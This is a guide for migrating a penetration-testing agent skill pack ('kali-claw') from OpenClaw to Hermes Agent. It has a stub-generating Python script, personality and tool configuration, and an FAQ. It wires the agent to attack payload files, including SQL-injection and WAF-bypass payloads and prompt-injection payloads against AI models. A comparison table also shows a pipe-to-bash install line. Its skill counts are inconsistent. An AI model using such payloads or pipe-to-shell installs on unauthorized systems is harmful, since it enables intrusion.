ls ~/kali-claw-backup-$(date +%Y%m%d)/skills/ | wc -l

    Why backup matters: The migration process is non-destructive (it reads from OpenClaw and writes to Hermes), but having a backup ensures you can always revert if something goes wrong.

    3. Approach 1: Automatic Migration (Beginners)

    3.1 Run the Migration Command

    Hermes includes a built-in OpenClaw migration tool that auto-detects workspaces under ~/.openclaw/.

    # Step 1: Preview mode (dry run -- shows what will be migrated without making changes)
hermes claw migrate --dry-run

# Review the output carefully. You should see:
# - Workspace detected: kali-claw
# - Skills found: 137 domains
# - Memory files found: X daily logs
# - Personality file found: SOUL.md

# Step 2: Actual migration
hermes claw migrate

# If your workspace is at a custom path:
hermes claw migrate --workspace /path/to/workspace-kali-claw/

    3.2 What Auto-Migration Does

    The hermes claw migrate command performs the following transformations automatically:

    1. Detects all workspaces under ~/.openclaw/ and lists them for selection.
    2. Imports SOUL.md -- converts to Hermes personality.md format. The 12 Hacker Laws become behavioral rules, Core Truths become personality traits, and Boundaries become Hermes boundaries.
    3. Imports skills/ -- each SKILL.md is imported as a Hermes skill file with YAML frontmatter. The Description becomes the ## When to Use section, and the Methodology becomes the ## Instructions section. Note: auto-migration only processes SKILL.md; payloads.md and test-cases.md are left as attachments. Use Approach 2 (reference stubs) for full access to all kali-claw files.
    4. Imports memory/ -- daily memory logs and MEMORY.md are imported into the SQLite memory store with FTS5 indexing. You can search across all memories instantly.
    5. Imports chronicle/ -- monthly milestones are imported as memory entries with date metadata.
    6. Imports API keys and channel configs -- if present in the OpenClaw configuration.

    3.3 Limitations of Auto-Migration

    Auto-migration handles the basics well, but has important limitations:

    What Auto-Migration HandlesWhat It Does NOT Handle
    SKILL.md main contentpayloads.md (kept as attachment, not parsed)
    Basic personality conversiontest-cases.md (kept as attachment, not parsed)
    Memory file importguides/ directory (kept as attachment)
    API key transferPython/Shell scripts in guides/
    Workspace detectionECC orchestration format conversion
    YAML frontmatter generationCross-skill references and links
    USER.md preference migration
    TOOLS.md tool registry conversion

    What this means: After auto-migration, your skills will work for basic queries, but the rich payload collections and test case templates will not be natively accessible by Hermes. To get full functionality, use Approach 2 to create reference stubs that point to kali-claw's original files (Hermes reads the referenced files when the skill is triggered). Use Approach 3 for fully hand-crafted stubs with custom descriptions.

    3.4 Verify Migration Results

    # List all imported skills
hermes skills list

# Expected: ~137 skills listed with names like:
# web-sqli, web-xss, network-pentest, osint, ...

# Search imported memories
hermes memory search "penetration testing"

# Test a specific skill
hermes skills test web-sqli

# View personality
hermes personality show

    If the skill count is lower than expected, check the migration log at ~/.hermes/logs/migration.log for errors.

    4. Approach 2: Semi-Manual Migration (Advanced Users)

    This approach gives you production-quality migration: auto-migration for the base data, then creation of lightweight Hermes stubs that reference kali-claw files in-place. kali-claw's skills/ directory remains completely untouched.

    4.1 Run Auto-Migration First for Base Data

    # Preview
hermes claw migrate --dry-run

# Execute base migration
hermes claw migrate

    This creates the skeleton. Now we will create reference stubs so Hermes can access kali-claw's full skill content.

    4.2 Create Lightweight Reference Stubs for kali-claw Skills

    kali-claw has 4 files per skill domain. Instead of merging or converting these files, we create lightweight Hermes skill stubs that reference kali-claw files in-place. The original skills/ directory remains completely untouched.

    Key principle: kali-claw skills/ stays as-is. Hermes gets small stub files that point to kali-claw paths. Hermes reads the references when the skill is triggered.

    Reference mapping:

    OpenClaw SourceHermes Stub SectionHow
    SKILL.md Description + Use Cases## When to UseSummary with reference to SKILL.md
    SKILL.md Methodology + Practical Steps## InstructionsSummary with reference to SKILL.md
    payloads.md all payloads## ExamplesReference to payloads.md
    test-cases.md all test cases## Test CasesReference to test-cases.md
    guides/ directory## Deep DiveReference to guides/ directory
    SKILL.md Hacker Laws## NotesReference to SKILL.md

    Complete stub example -- web-sqli:

    Below is a lightweight Hermes skill stub that references kali-claw's web-sqli files without modifying them.

    Resulting Hermes stub file (~/.hermes/skills/web-sqli.md):

    ---
name: web-sqli
version: 1.0
tags: [sqli, sql-injection, web-security, database, owasp, pentest]
triggers: ["sql injection", "sqli", "union select", "blind injection", "error-based injection", "sqlmap", "double query", "waf bypass"]
references:
  - path: ~/.openclaw/workspace-kali-claw/skills/web-sqli/SKILL.md
  - path: ~/.openclaw/workspace-kali-claw/skills/web-sqli/payloads.md
  - path: ~/.openclaw/workspace-kali-claw/skills/web-sqli/test-cases.md
---

# SQL Injection

## When to Use

When testing web applications for SQL injection vulnerabilities. Covers detection, exploitation, data extraction, and privilege escalation across MySQL, PostgreSQL, MSSQL, and Oracle.

## Instructions

Read the referenced kali-claw files for complete methodology and tool guidance:
- **SKILL.md** -- Step-by-step methodology, attack chain (Detection -> Fingerprinting -> Exploitation -> Data Extraction -> Privilege Escalation), core tools (sqlmap, Burp Suite, curl), and defense perspective.

## Examples

See the referenced kali-claw file for ready-to-use attack payloads:
- **payloads.md** -- 10 categories of injection payloads including UNION, error-based, boolean blind, time blind, double query, WAF bypass, and cross-database techniques.

## Test Cases

See the referenced kali-claw file for structured test procedures:
- **test-cases.md** -- 12 test case templates (TC-S001 through TC-S010+) covering GET/POST injection detection, UNION extraction, error-based, blind, WAF bypass, and file read/write testing.

    This stub is roughly 30 lines instead of 300+ lines for a merged file. The full content stays in kali-claw's skills/ directory where it belongs. When Hermes activates the skill, it reads the referenced files.

    4.3 Batch Stub Creation Script

    The following Python script iterates over all skill directories and creates lightweight Hermes stub files that reference kali-claw files in-place. It does not read, modify, or merge kali-claw skill content -- it only reads directory names and creates small pointer files.

    #!/usr/bin/env python3
"""
kali-claw to Hermes Stub Creator
Creates lightweight Hermes skill stubs that reference kali-claw files in-place.
Does NOT modify any files in the kali-claw skills/ directory.

Usage:
    python3 create_stubs.py [--source ~/.openclaw/workspace-kali-claw/skills]
                            [--target ~/.hermes/skills]
                            [--dry-run]
"""

import os
import sys
import argparse
from pathlib import Path


def create_stub(skill_dir: Path, target_dir: Path, dry_run: bool = False) -> str:
    """Create a lightweight Hermes stub referencing kali-claw files."""
    skill_name = skill_dir.name
    skill_md = skill_dir / "SKILL.md"
    payloads_md = skill_dir / "payloads.md"
    test_cases_md = skill_dir / "test-cases.md"
    guides_dir = skill_dir / "guides"

    if not skill_md.exists():
        return f"SKIP {skill_name}: no SKILL.md found"

    skill_path = skill_dir.resolve()

    # Build references list
    references = [f"  - path: {skill_path / 'SKILL.md'}"]
    if payloads_md.exists():
        references.append(f"  - path: {skill_path / 'payloads.md'}")
    if test_cases_md.exists():
        references.append(f"  - path: {skill_path / 'test-cases.md'}")
    if guides_dir.exists() and any(guides_dir.glob("*.md")):
        references.append(f"  - path: {skill_path / 'guides'}")

    # Build tags from skill name
    name_parts = skill_name.replace("-", " ").split()
    tags = ["pentest", "security"] + name_parts
    tags = list(dict.fromkeys(tags))[:10]  # deduplicate, cap at 10

    # Build triggers
    triggers = [skill_name, skill_name.replace("-", " ")]

    # Human-readable title
    title = skill_name.replace("-", " ").title()

    # Assemble stub content
    lines = [
        "---",
        f"name: {skill_name}",
        "version: 1.0",
        f"tags: [{', '.join(tags)}]",
        f"triggers: {triggers}",
        "references:",
        *references,
        "---",
        "",
        f"# {title}",
        "",
        "## When to Use",
        "",
        f"When working with {title.lower()}-related tasks.",
        "",
        "## Instructions",
        "",
        "Read the referenced kali-claw files for complete methodology:",
        "- **SKILL.md** -- Step-by-step methodology, tools, and practical steps",
    ]

    if payloads_md.exists():
        lines.append("- **payloads.md** -- Ready-to-use attack payloads organized by type")
    if test_cases_md.exists():
        lines.append("- **test-cases.md** -- Structured test procedures with prerequisites and expected results")
    if guides_dir.exists() and any(guides_dir.glob("*.md")):
        lines.append("- **guides/** -- Deep-dive learning materials and scripts")

    lines.append("")
    lines.append("## Examples")
    lines.append("")
    lines.append("See payloads.md in the referenced kali-claw directory for ready-to-use payloads.")
    lines.append("")
    lines.append("## Test Cases")
    lines.append("")
    lines.append("See test-cases.md in the referenced kali-claw directory for structured test procedures.")
    lines.append("")

    output_content = "\n".join(lines)
    output_path = target_dir / f"{skill_name}.md"

    if dry_run:
        return f"WOULD WRITE: {output_path} ({len(output_content)} chars)"

    target_dir.mkdir(parents=True, exist_ok=True)
    output_path.write_text(output_content, encoding="utf-8")
    return f"OK {skill_name} -> {output_path} ({len(output_content)} chars)"


def main():
    parser = argparse.ArgumentParser(
        description="Create Hermes skill stubs referencing kali-claw files"
    )
    parser.add_argument(
        "--source",
        default=os.path.expanduser("~/.openclaw/workspace-kali-claw/skills"),
        help="Path to kali-claw skills directory (read-only)",
    )
    parser.add_argument(
        "--target",
        default=os.path.expanduser("~/.hermes/skills"),
        help="Path to Hermes skills output directory",
    )
    parser.add_argument(
        "--dry-run",
        action="store_true",
        help="Preview stubs without writing files",
    )
    parser.add_argument(
        "--skill",
        default=None,
        help="Create stub for only a specific skill (e.g., web-sqli)",
    )
    args = parser.parse_args()

    source_dir = Path(args.source)
    target_dir = Path(args.target)

    if not source_dir.exists():
        print(f"Error: Source directory not found: {source_dir}")
        sys.exit(1)

    # Find skill directories (read-only scan)
    if args.skill:
        skill_dirs = [source_dir / args.skill]
    else:
        skill_dirs = sorted(
            d for d in source_dir.iterdir()
            if d.is_dir() and (d / "SKILL.md").exists()
        )

    print(f"Found {len(skill_dirs)} skill(s) to create stubs for")
    print(f"Source: {source_dir} (read-only, will not be modified)")
    print(f"Target: {target_dir}")
    print(f"Dry run: {args.dry_run}")
    print("-" * 60)

    success_count = 0
    skip_count = 0

    for skill_dir in skill_dirs:
        result = create_stub(skill_dir, target_dir, dry_run=args.dry_run)
        print(result)
        if result.startswith("OK") or result.startswith("WOULD WRITE"):
            success_count += 1
        else:
            skip_count += 1

    print("-" * 60)
    print(f"Stubs created: {success_count}, Skipped: {skip_count}")

    if args.dry_run:
        print("\nThis was a dry run. Remove --dry-run to write files.")


if __name__ == "__main__":
    main()

    How to use the script:

    # Save the script to a file
nano ~/create_stubs.py
# (paste the script above, then save)

# Make it executable
chmod +x ~/create_stubs.py

# Preview stubs (dry run)
python3 ~/create_stubs.py --dry-run

# Create stub for a single skill to verify
python3 ~/create_stubs.py --skill web-sqli --dry-run

# Create stubs for all skills
python3 ~/create_stubs.py

# Create stubs to a custom output directory
python3 ~/create_stubs.py --target ~/hermes-skills-preview/

    Important: This script only reads directory names from kali-claw's skills/. It never reads, parses, copies, or modifies any skill content files.

    4.4 Map ECC Orchestration Patterns to Hermes Workflows

    kali-claw uses ECC (Event-Condition-Command) orchestration patterns. Hermes uses a simpler workflow model. The following mapping table shows how ECC patterns correspond to Hermes workflows. This mapping is for reference only -- no kali-claw files need to be modified.

    kali-claw ECC PatternHermes WorkflowDescription
    Sequential Pipelineworkflow: sequentialStep-by-step pentest flow (Recon -> Scan -> Exploit -> Report)
    Watch Loopworkflow: watchMonitoring a target for changes (new subdomains, open ports)
    Batch Processingworkflow: parallelProcessing multiple targets (scanning 100 URLs)
    Learning Cycleworkflow: iterativeTool mastery progression (learn -> practice -> review)
    Meta-Skillworkflow: compositeCombining multiple skills (council analysis)
    Cross-cutting Interceptorworkflow: interceptorSafety enforcement (safety-guard checking every command)

    How to add workflow to a Hermes stub:

    Add the workflow field to the YAML frontmatter of the Hermes stub file (the file in ~/.hermes/skills/, not the kali-claw original):

    ---
name: network-pentest
version: 1.0
tags: [network, pentest, nmap, scanning]
triggers: ["network scan", "port scan", "nmap"]
references:
  - path: ~/.openclaw/workspace-kali-claw/skills/network-pentest/SKILL.md
workflow: sequential
---

    For composite workflows that combine multiple skills:

    ---
name: security-audit
version: 1.0
tags: [audit, owasp, comprehensive]
triggers: ["security audit", "full assessment"]
references:
  - path: ~/.openclaw/workspace-kali-claw/skills/web-sqli/SKILL.md
  - path: ~/.openclaw/workspace-kali-claw/skills/web-xss/SKILL.md
  - path: ~/.openclaw/workspace-kali-claw/skills/web-ssrf/SKILL.md
  - path: ~/.openclaw/workspace-kali-claw/skills/api-security/SKILL.md
workflow: composite
depends_on: [web-sqli, web-xss, web-ssrf, api-security]
---

    4.5 Validate Each Stub

    After creating stubs, validate each one:

    # Validate a single skill
hermes skills validate web-sqli

# Test a single skill
hermes skills test web-sqli

# Validate all skills at once
hermes skills validate --all

# Test all skills
hermes skills test --all

# View detailed validation output
hermes skills validate --all --verbose

    Common validation issues and fixes:

    IssueCauseFix
    "Missing frontmatter"No YAML headerAdd --- block at the top
    "Invalid trigger format"Triggers not a listUse ["keyword1", "keyword2"] syntax
    "Skill too large"File exceeds size limitStub should be small; remove any inline content, use references only
    "Duplicate triggers"Same trigger in multiple skillsMake triggers more specific
    "Missing Instructions section"Empty InstructionsEnsure Instructions section references SKILL.md

    5. Approach 3: Fully Manual Migration (Full Control)

    This approach gives you complete control over every aspect of the migration. Use this when you want to customize each skill stub individually, optimize trigger keywords, or hand-craft stubs with rich descriptions.

    5.1 Create Hermes Skills Directory

    # Create the skills directory
mkdir -p ~/.hermes/skills/

# Verify Hermes config directory exists
ls ~/.hermes/
# Should show: config.yaml  personality.md  skills/  memory/

    5.2 Create Custom Stub for a Single Skill

    Detailed manual stub creation steps using ai-security as an example. This creates a Hermes skill stub that references kali-claw's original files -- kali-claw files are not modified.

    Step 1: Browse the OpenClaw source files (read-only)

    # Read the source files to understand the skill (do NOT modify them)
cat ~/.openclaw/workspace-kali-claw/skills/ai-security/SKILL.md
cat ~/.openclaw/workspace-kali-claw/skills/ai-security/payloads.md 2>/dev/null
cat ~/.openclaw/workspace-kali-claw/skills/ai-security/test-cases.md 2>/dev/null
ls ~/.openclaw/workspace-kali-claw/skills/ai-security/guides/ 2>/dev/null

    Step 2: Create the Hermes stub file

    Open a new file ~/.hermes/skills/ai-security.md and write a stub with YAML frontmatter and references to kali-claw paths:

    ---
name: ai-security
version: 1.0
tags: [ai, llm, prompt-injection, model-security, adversarial, pentest]
triggers: ["ai security", "llm security", "prompt injection", "model exploitation", "adversarial attack", "ai fuzzing"]
references:
  - path: ~/.openclaw/workspace-kali-claw/skills/ai-security/SKILL.md
  - path: ~/.openclaw/workspace-kali-claw/skills/ai-security/payloads.md
  - path: ~/.openclaw/workspace-kali-claw/skills/ai-security/test-cases.md
---

# AI Security

## When to Use

When testing AI/LLM systems for prompt injection, adversarial inputs, and model exploitation vulnerabilities.

## Instructions

Read the referenced kali-claw files for complete methodology:
- **SKILL.md** -- Step-by-step methodology, tools, and practical steps
- **payloads.md** -- Ready-to-use adversarial prompt payloads organized by type
- **test-cases.md** -- Structured test procedures with prerequisites and expected results

## Examples

See payloads.md in the referenced kali-claw directory for ready-to-use adversarial prompts.

## Test Cases

See test-cases.md in the referenced kali-claw directory for structured AI security test procedures.

    Tips for writing good triggers:

    • Include the full skill name (with spaces replacing hyphens)
    • Include common abbreviations and aliases
    • Include the primary tool names used in the skill
    • Include the attack type or technique names
    • Keep each trigger under 5 words for best matching

    Step 3: Save and validate

    # Save the file
# Then validate
hermes skills validate ai-security
hermes skills test ai-security

    5.3 Migrate Agent Personality

    Convert SOUL.md to Hermes personality.md format.

    OpenClaw SOUL.md structure:

    • Identity (nickname, role, creator, runtime, work mode)
    • 12 Hacker Laws (principles)
    • Core Truths (behavioral rules)
    • Boundaries (ethical limits)

    Hermes personality.md structure:

    • Name and role
    • Behavioral rules
    • Personality traits
    • Boundaries

    Conversion steps:

    # Create personality.md
cat > ~/.hermes/personality.md << 'EOF'
---
name: kali-claw
role: Senior Penetration Testing Engineer
version: 1.0
---

# kali-claw

You are a senior penetration testing engineer and master of all Kali Linux security tools.

## Behavioral Rules

1. **First Principles Thinking** -- Break problems down to the most fundamental facts. Question every "obvious" assumption and reason from basic principles.
2. **Divergent Thinking First** -- Think of at least 3 solutions for every problem, then pick the best. There is always more than one path.
3. **Minimize Attack Surface** -- Less exposure means less risk. Every open port, service, and interface is a potential entry point.
4. **Defense in Depth** -- Never rely on a single layer of defense. Multi-layer protection prevents total collapse from a single point of failure.
5. **Least Privilege** -- Grant only the access that is necessary. Excessive permissions are a stepping stone for attackers.
6. **Assume Breach** -- Design systems assuming the attacker is already inside. Build detection, response, and recovery on this premise.
7. **Obscurity Is Not Security** -- Security comes from design and verification, not from hiding.
8. **Trust but Verify** -- Do not trust any input. Verify everything.
9. **Information Wants to Be Free** -- Knowledge sharing drives security progress. Share discoveries, disclose vulnerabilities, collaborate on defense.
10. **Skill Over Credentials** -- Judge by capability, not by title.
11. **The Weakest Link Is Human** -- People are the weakest link in the security chain. Always consider the human factor.
12. **Murphy's Security Law** -- If it can be exploited, it will be exploited. Do not rely on luck. Do not delay fixes.

## Personality Traits

- Analytical and methodical in approach
- Proactive in identifying security risks
- Clear and direct in communication
- Patient when teaching security concepts
- Cautious about ethical boundaries

## Boundaries

- Never attack systems without explicit authorization
- Never store or transmit sensitive data without encryption
- Always report vulnerabilities through proper channels
- Prioritize safety in every operation
- Refuse requests that violate laws or ethics
EOF

    5.4 Migrate Memory System

    Hermes provides multiple options for importing memory data:

    # Option 1: Import all memory files at once (recommended)
hermes claw migrate --memory-only

# Option 2: Import individual memory files
hermes memory import --file ~/.openclaw/workspace-kali-claw/memory/2026-05-17.md
hermes memory import --file ~/.openclaw/workspace-kali-claw/memory/2026-05-16.md
# ... repeat for each daily log

# Option 3: Import MEMORY.md (long-term distilled knowledge)
hermes memory import --file ~/.openclaw/workspace-kali-claw/MEMORY.md

# Option 4: Import chronicle files
hermes memory import --file ~/.openclaw/workspace-kali-claw/chronicle/2026-05/milestones.md

# Verify memory import
hermes memory stats
hermes memory search "nmap"
hermes memory search "sql injection"

    Memory import tips:

    • Import memory files in chronological order (oldest first) for best context
    • Daily logs are imported as individual memory entries with date metadata
    • MEMORY.md is imported as a single entry with "distilled" metadata
    • Chronicle entries are imported with month-level metadata
    • After import, run hermes memory reindex to rebuild the FTS5 search index

    5.5 Migrate Tool Knowledge Base

    TOOLS.md tracks 518 Kali Linux tools. Convert it to Hermes configuration:

    # Create a tools configuration section
cat >> ~/.hermes/config.yaml << 'EOF'

tools:
  kali:
    enabled: true
    path: /usr/bin
    categories:
      - name: Web Security
        tools: [sqlmap, nikto, dirb, gobuster, burpsuite, whatweb]
      - name: Network Pentest
        tools: [nmap, masscan, enum4linux, smbclient, rpcclient]
      - name: Password Attack
        tools: [hydra, hashcat, john, medusa, patator]
      - name: Exploitation
        tools: [metasploit, searchsploit, crackmapexec]
      - name: Wireless
        tools: [aircrack-ng, reaver, wifite, bully]
      - name: Forensics
        tools: [autopsy, volatility, binwalk, foremost, scalpel]
      - name: Reverse Engineering
        tools: [ghidra, radare2, gdb, objdump, strings]
      - name: OSINT
        tools: [maltego, theharvester, recon-ng, spiderfoot, shodan]
EOF

    6. Post-Migration Configuration

    6.1 Configure Kali Tool Access

    Hermes needs to know where your Kali Linux tools are located.

    Option A: Hermes running directly on Kali Linux

    # Set Kali tool path
hermes config set tools.kali_path /usr/bin

# Verify tool access
hermes tools check nmap
hermes tools check sqlmap
hermes tools check hydra

    Option B: Remote Kali via SSH

    # Configure remote SSH access
hermes config set tools.remote_ssh user@kali-host
hermes config set tools.remote_ssh_key ~/.ssh/id_ed25519

# Verify remote tool access
hermes tools check --remote nmap
hermes tools check --remote sqlmap

    Option C: Docker container

    # Configure Docker access
hermes config set tools.docker_container kali-claw-env

# Verify container tool access
hermes tools check --docker nmap

    6.2 Configure Model

    Hermes supports 200+ models through multiple providers.

    # Using OpenRouter (access to 200+ models)
hermes config set model.provider openrouter
hermes config set model.name anthropic/claude-sonnet-4-6
hermes config set model.api_key $OPENROUTER_API_KEY

# Alternative: specific providers
# OpenAI
hermes config set model.provider openai
hermes config set model.name gpt-4-turbo

# Anthropic
hermes config set model.provider anthropic
hermes config set model.name claude-sonnet-4-6

# Google Gemini
hermes config set model.provider google
hermes config set model.name gemini-2.0-flash

# Local Ollama (free, offline)
hermes config set model.provider ollama
hermes config set model.name llama3
# Requires Ollama running locally: https://ollama.com

    6.3 Configure Gateways

    Gateways let you interact with the agent through different platforms.

    # Telegram gateway
hermes gateway add telegram --token YOUR_TELEGRAM_BOT_TOKEN

# Discord gateway
hermes gateway add discord --token YOUR_DISCORD_BOT_TOKEN --application_id YOUR_APP_ID

# Slack gateway
hermes gateway add slack --bot-token xoxb-YOUR-TOKEN --app-token xapp-YOUR-TOKEN

# WhatsApp gateway (via WhatsApp Web API)
hermes gateway add whatsapp --session-id kali-claw-session

# Signal gateway
hermes gateway add signal --phone-number +1234567890

# Start CLI gateway (default, no configuration needed)
hermes gateway start

# Start a specific gateway
hermes gateway start telegram

# Start all configured gateways
hermes gateway start --all

    6.4 Verify Complete Migration

    Run a comprehensive verification:

    # 1. List all migrated skills
hermes skills list
# Expected: ~137 skills

# 2. Test all skills
hermes skills test --all
# Expected: All skills pass validation

# 3. View memory statistics
hermes memory stats
# Shows: total memories, date range, search index status

# 4. Search memory for specific topics
hermes memory search "penetration testing"
hermes memory search "sql injection"
hermes memory search "nmap"

# 5. Run health check
hermes health
# Checks: model connection, gateway status, skill integrity, memory index

# 6. Test a real query
hermes gateway start
# Then send: "What SQL injection types do you know?"
# Expected: Detailed response referencing web-sqli skill content

    7. FAQ

    Q1: Auto-migration cannot find OpenClaw

    Problem: hermes claw migrate reports "No OpenClaw workspace found."

    Cause: The workspace is not at the default location ~/.openclaw/, or the directory name does not match the expected pattern.

    Solution:

    # Check if ~/.openclaw/ exists
ls ~/.openclaw/

# If workspace is elsewhere, specify the path
hermes claw migrate --workspace /path/to/your/workspace-kali-claw/

# If workspace name is non-standard
hermes claw migrate --workspace ~/my-custom-workspace/

    Q2: Skills not triggering after migration

    Problem: Skills were migrated but the agent does not activate them when relevant queries are sent.

    Cause: Trigger keywords may be missing, too generic, or incorrectly formatted.

    Solution:

    # Check triggers for a specific skill
hermes skills show web-sqli

# Update triggers manually
# Edit ~/.hermes/skills/web-sqli.md
# Ensure the triggers field has specific, diverse keywords:
# triggers: ["sql injection", "sqli", "union select", "blind injection", "sqlmap"]

# Re-validate after changes
hermes skills validate web-sqli

    Q3: Payload format incompatible

    Problem: After auto-migration, payloads are stored as attachments and not natively understood by Hermes.

    Cause: Auto-migration does not parse payloads.md into the Hermes Examples section.

    Solution: Use the stub creation approach from Section 4.3 to create lightweight stubs that reference kali-claw's payloads.md files in-place. Hermes will read the referenced files when the skill is triggered. Alternatively, manually write a brief summary in the ## Examples section of each Hermes stub file.

    Q4: Cannot search imported memories

    Problem: hermes memory search "keyword" returns no results even though memories were imported.

    Cause: The FTS5 search index may need to be rebuilt.

    Solution:

    # Rebuild the search index
hermes memory reindex

# Verify index status
hermes memory stats

# Try searching again
hermes memory search "nmap"

    Q5: Can I run both OpenClaw and Hermes simultaneously?

    Answer: Yes. OpenClaw and Hermes are independent frameworks that do not interfere with each other.

    • OpenClaw reads from ~/.openclaw/workspace-kali-claw/
    • Hermes reads from ~/.hermes/
    • Both can use the same skill content (the knowledge is in the markdown, not the framework)

    Tip for syncing: Keep kali-claw as the source of truth in a git repository. Hermes stubs reference kali-claw paths, so both frameworks share the same content:

    # Hermes stubs point to kali-claw files -- no duplication needed
# When kali-claw skills update via git pull, Hermes automatically sees the latest content
cd ~/.openclaw/workspace-kali-claw/
git pull origin main

    Q6: How to sync updates between frameworks

    Problem: You want changes made in one framework to appear in the other.

    Solution: Since Hermes stubs reference kali-claw files by path, updates to kali-claw skills are automatically visible to Hermes:

    # Update kali-claw skills
cd ~/.openclaw/workspace-kali-claw/
git pull origin main

# No additional step needed -- Hermes stubs reference the same files
# The stubs point to absolute paths, so any content updates are immediately available

# If new skills were added, re-run the stub creation script
python3 ~/create_stubs.py --dry-run   # preview first
python3 ~/create_stubs.py             # create stubs for new skills

    Q7: Will Hermes self-learning overwrite migrated skills?

    Answer: No. Hermes's self-learning loop appends new knowledge; it does not overwrite existing skill files.

    When Hermes learns something new during a session:

    1. It creates a new memory entry in SQLite
    2. If the learning is significant, it creates a new skill file (e.g., web-sqli-v2.md) or appends to the existing skill
    3. The original migrated skill content is preserved

    You can verify this by checking the modification dates:

    ls -lt ~/.hermes/skills/
# Migrated skills keep their original content
# New learnings appear as separate entries or appended sections

    Q8: How to handle Python/Shell scripts from guides/

    Problem: kali-claw skill guides contain executable Python and Shell scripts that Hermes cannot directly reference.

    Solution: Place scripts in the Hermes tools directory and reference them in skills:

    # Create a tools directory
mkdir -p ~/.hermes/tools/

# Copy scripts from guides
cp ~/.openclaw/workspace-kali-claw/skills/web-sqli/guides/bug_bounty_sqli_scanner.py \
   ~/.hermes/tools/sqli-scanner.py

cp ~/.openclaw/workspace-kali-claw/skills/web-sqli/guides/sqli-labs-auto.sh \
   ~/.hermes/tools/sqli-labs-auto.sh

# Make shell scripts executable
chmod +x ~/.hermes/tools/*.sh

# Reference in the skill file
# Add to the Examples section of ~/.hermes/skills/web-sqli.md:
# See tools/sqli-scanner.py for automated SQL injection scanning
# See tools/sqli-labs-auto.sh for SQLi-Labs automated testing

    Q9: Stub creation takes too long for 137 skills

    Problem: Creating stubs for all 139 skills is slow or produces errors for some skills.

    Solution: Process skills in batches:

    # Create stubs for first 10 skills
for skill in web-sqli web-xss web-ssrf web-auth-bypass web-access-control \
             api-security network-pentest osint password-attack post-exploitation; do
    python3 ~/create_stubs.py --skill "$skill"
    echo "Stub created: $skill"
done

# Verify first batch
hermes skills validate --all

# Continue with remaining skills
python3 ~/create_stubs.py

    Q10: How to remove migrated skills and start over

    Problem: You want to redo the migration from scratch.

    Solution:

    # Remove all Hermes skill stubs
rm -f ~/.hermes/skills/*.md

# Remove imported memories
hermes memory clear

# Re-run migration
hermes claw migrate

# Then re-create the stubs
python3 ~/create_stubs.py

    8. Architecture Comparison and Reference

    Complete Component Mapping Table

    kali-claw (OpenClaw)Hermes AgentFormatMigration Method
    SOUL.mdpersonality.mdMarkdown with YAML frontmatterAuto or manual
    USER.mdconfig.yaml (user section)YAMLManual
    AGENTS.mdconfig.yaml (agent section)YAMLManual
    IDENTITY.mdskills/*.md (YAML frontmatter tags)YAML + MarkdownManual (tags extracted from skill content)
    skills/*/SKILL.mdskills/skill-name.mdMarkdown with YAML frontmatter, references kali-claw in-placeReference stub
    skills/*/payloads.mdskills/skill-name.md (## Examples)Referenced via path in stubReference stub
    skills/*/test-cases.mdskills/skill-name.md (## Test Cases)Referenced via path in stubReference stub
    skills/*/guides/skills/skill-name.md (## Deep Dive) or ~/.hermes/tools/Referenced via path in stubReference stub
    MEMORY.mdSQLite memory storeDatabasehermes claw migrate --memory-only
    memory/*.mdSQLite memory storeDatabasehermes claw migrate --memory-only
    chronicle/SQLite memory storeDatabasehermes claw migrate --memory-only
    TOOLS.mdconfig.yaml (tools section)YAMLManual
    HEARTBEAT.mdconfig.yaml (cron section)YAMLManual

    Framework Comparison

    FeatureOpenClaw (kali-claw)Hermes Agent
    LanguageTypeScript / Node.jsPython
    Installationnpm install -g openclawcurl -fsSL https://get.hermes.dev | bash
    Config root~/.openclaw/~/.hermes/
    Skill format4 files per skill (SKILL.md + payloads.md + test-cases.md + guides/)Single .md with YAML frontmatter
    Memory storageMarkdown files (daily logs, chronicles, MEMORY.md)SQLite + FTS5 + LLM summarization
    Memory searchFull-text scan of markdown filesFTS5 full-text search index
    Learning loopNo built-in loop (manual distillation)Closed learning loop (auto skill creation)
    PersonalitySOUL.md (freeform Markdown)personality.md (structured YAML + Markdown)
    Model supportSingle provider per agent200+ models via OpenRouter, OpenAI, Anthropic, etc.
    GatewaysBuilt-in gateway (single interface)Telegram, Discord, Slack, WhatsApp, Signal, QQ, CLI
    HeartbeatHEARTBEAT.md (markdown task definitions)config.yaml (cron-based scheduling)
    Tool managementTOOLS.md (markdown knowledge base)config.yaml (structured tool registry)
    OrchestrationECC patterns (6 types)Workflow types (sequential, parallel, iterative, composite, watch, interceptor)
    CommunityOpenClaw ecosystem100k+ GitHub stars, growing skill marketplace

    Skill Count Reference

    kali-claw includes the following 137 security skill domains:

    Attack Skills (17): web-sqli, web-xss, web-ssrf, web-auth-bypass, web-access-control, api-security, network-pentest, password-attack, post-exploitation, wifi-pentest, binary-reverse, crypto-attacks, mobile-security, social-engineering, hardware-security, supply-chain-security, insecure-design

    Defense Skills (8): security-review, verification-loop, docker-patterns, safety-guard, security-misconfiguration, vulnerability-assessment, logging-monitoring, container-security

    Knowledge Skills (8): osint, recon-osint, deep-research, search-first, repo-scan, exa-search, data-scraper-agent, knowledge-ops

    Meta Skills (6): autonomous-loops, multi-agent-collaboration, council, chronicle, continuous-learning, codebase-onboarding

    Infrastructure (6): terminal-ops, mcp-server-patterns, browser-qa, article-writing, ai-fuzzing, ai-security

    Specialized (4): digital-forensics, cloud-security, security-bounty-hunter, social-intelligence

    This guide covers kali-claw v0.2.1 migration to Hermes Agent. For the latest updates, visit the kali-claw repository and the Hermes Agent repository.

  • kali-claw-pentest-agent/GUIDE-HERMES-zh.mdmarkdown · 34.8 KB

    kali-claw 技能包迁移指南：从 OpenClaw 到 Hermes Agent

    ⚠️ 更新说明（2026-08-08）：本指南已更新至 kali-claw v0.2.4（Phase 2 Track 1 Minor Release）。主要变化：

    • 139 个技能域（v0.2.4 新增 eu-ai-act-compliance-redteam + ai-agent-supply-chain-attack；早期版本为 49/111/130/137）
    • 全部 139 个 SKILL 达到 v0.2.0.2 标准（v0.2.4 起），含完整 Defense Triple — 100% 覆盖
    • 新增 7 个战略 SKILL：ai-safety-redteam-advanced、identity-provider-attack、data-loss-prevention-bypass、edge-computing-security、quantum-cryptography-transition、hardware-side-channel-advanced、5g-6g-telecom-attack-advanced
    • 生成 6 个文档：SKILL_HANDBOOK、QUICK_REFERENCE、SKILL_INDEX.json、DOMAIN_MATRIX、TOOLS_LIFECYCLE、SKILL_MAINTENANCE
    • 5 个自动化脚本：skill-lint.py、validate-payloads.py、validate-testcases.py、GitHub Actions CI/CD、update-skill-standard.py
